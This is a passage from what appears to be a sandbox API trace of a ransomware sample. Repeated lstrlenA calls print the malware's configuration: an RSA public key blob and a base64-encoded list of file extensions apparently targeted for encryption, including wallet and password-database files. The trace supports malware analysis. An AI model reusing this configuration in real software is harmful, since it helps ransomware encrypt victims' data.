ZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwg